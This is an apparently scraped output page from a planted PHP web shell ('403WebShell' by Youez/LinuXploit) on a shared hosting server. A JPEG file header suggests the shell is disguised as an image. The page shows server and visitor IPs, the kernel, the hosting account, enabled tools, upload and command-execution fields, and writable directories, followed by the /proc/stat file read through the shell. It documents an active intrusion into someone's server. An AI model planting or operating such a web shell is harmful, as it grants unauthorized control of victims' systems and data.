????JFIF??x?x????'403WebShell
403Webshell
Server IP : 172.67.174.47  /  Your IP : 216.73.216.153
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : //proc/self/root/proc/self/root/proc//stat
cpu  11050217484 184418525 3711917449 14815494028 610231706 0 449015228 23816144 0 0
cpu0 455968445 7723648 154023397 621009580 25407886 0 21584807 936391 0 0
cpu1 461141112 7819415 154202161 616653959 25452672 0 20149688 931620 0 0
cpu2 460675967 7669569 154590620 616868061 25572441 0 19726099 927785 0 0
cpu3 462883478 7632635 154571501 615382103 25551877 0 19016245 928557 0 0
cpu4 463431303 7765385 155168194 616918912 25709781 0 16230338 920775 0 0
cpu5 463645794 7666173 155060812 617113125 25634363 0 16034778 921699 0 0
cpu6 463188789 7697331 155290414 617366168 25646640 0 15890792 919664 0 0
cpu7 463295623 7692861 155340367 617216419 25740386 0 15772317 920967 0 0
cpu8 462284372 7670326 154952129 615934680 25640889 0 18197117 925217 0 0
cpu9 442048841 7619799 155144790 634014335 26088771 0 18735380 955842 0 0
cpu10 460005994 7755861 154889425 618232910 25642336 0 18066170 924645 0 0
cpu11 464466702 7800746 154891653 611500724 24574214 0 15575578 1431768 0 0
cpu12 461446037 7659685 154880508 617036221 25598875 0 17963481 923196 0 0
cpu13 456158412 7576231 152816273 608188469 24765616 0 33911532 1264922 0 0
cpu14 456261149 7666322 153085766 607867808 24686961 0 33694193 1162827 0 0
cpu15 462406340 7577013 154541142 616714855 25504649 0 17841457 924664 0 0
cpu16 460580299 7722176 154692159 617711970 25500217 0 18312999 938255 0 0
cpu17 461727959 7615723 154608135 617076697 25488072 0 18099636 934753 0 0
cpu18 461017027 7728850 154490502 617974692 25458956 0 17799746 926133 0 0
cpu19 461630075 7522771 154432837 617809403 25407773 0 17779442 921351 0 0
cpu20 461140566 7791212 154928424 620181405 25532526 0 15280346 915806 0 0
cpu21 460284255 7597728 155240680 620959498 25535948 0 15259953 916621 0 0
cpu22 461050611 7670703 154872580 620462210 25538399 0 15252197 916756 0 0
cpu23 463478323 7776349 155202968 615299813 24551446 0 12840925 1425918 0 0
intr 152351591222 61 9 0 0 479 0 0 0 98 0 0 0 15 0 12772984 0 0 0 0 0 0 0 0 0 0 0 0 1683108453 1637217680 0 43 10 1593825316 3707616915 10 479011627 464875387 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 444085320142
btime 1749129603
processes 1365466946
procs_running 14
procs_blocked 0
softirq 111085671994 1 4120779796 11627 336249 2753103977 0 1139984799 892940079 8232700 3386034958

Youez - 2016 - github.com/yon3zu
LinuXploit